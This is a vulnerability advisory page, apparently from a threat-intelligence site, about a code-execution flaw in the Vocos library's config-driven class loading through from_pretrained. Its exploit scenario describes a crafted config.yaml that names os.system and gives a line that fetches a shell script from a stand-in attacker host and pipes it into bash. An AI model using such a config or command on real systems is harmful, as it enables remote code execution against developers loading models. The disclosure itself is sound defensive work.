Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network vector with no privileges needed, but user must actively invoke from_pretrained with an attacker-supplied repository name, requiring UI:R.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Vocos instantiates a class named by a configuration file without restricting which class may be named. instantiate_class in vocos/pretrained.py takes the class_path value from the configuration, splits it into a module and an attribute, imports the module with __import__, resolves the attribute with getattr, and calls the result as args_class(*args, **kwargs) where kwargs is the config's own init_args mapping. No allowlist constrains the dotted path, so a configuration may name any importable callable and supply the arguments it is called with. Vocos.from_hparams reaches this for each of the feature_extractor, backbone and head entries, and Vocos.from_pretrained reaches it with a remote file: it downloads config.yaml from a caller-named Hugging Face repository and passes it straight to from_hparams. Loading a model from a repository the user does not control therefore executes code of the repository owner's choosing in the loading process. The neighbouring torch.load of the downloaded weights is a separate matter and is constrained on PyTorch releases that default weights_only to true, which leaves this path as the reachable one.
AnalysisAI
Unsafe dynamic class instantiation in Vocos allows arbitrary code execution when a user loads a model from an attacker-controlled Hugging Face repository. The library's Vocos.from_pretrained fetches a remote config.yaml from a caller-supplied repository and passes it directly to instantiate_class, which imports and calls any Python callable named in the configuration without an allowlist. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the victim to call `Vocos.from_pretrained` with a repository name that resolves to an attacker-controlled Hugging Face repository - the attacker must either own that repository or have write access to it. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A) scores 8.6, reflecting that exploitation requires no special network position and no authentication, but does require the victim to actively invoke `from_pretrained` with an attacker-supplied repository name - the UI:A requirement is the principal limiting factor. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes a Hugging Face model repository containing a crafted `config.yaml` that sets the `feature_extractor.class_path` to `os.system` with `init_args` containing a reverse-shell command. A developer or automated pipeline calls `Vocos.from_pretrained('attacker/malicious-vocos-model')`, the library fetches the config without validation, imports `os`, calls `os.system('curl attacker.com/shell.sh | bash')`, and the attacker gains code execution in the victim's Python process. … |
| Remediation | No vendor-released patch has been identified at time of analysis; the upstream issue is tracked at https://github.com/gemelo-ai/vocos/issues/76. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all systems using the Vocos library and identify the sources of voice models in use; immediately restrict model loading to internally-maintained, air-gapped repositories only. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-65542
GHSA-697j-x98h-3qgg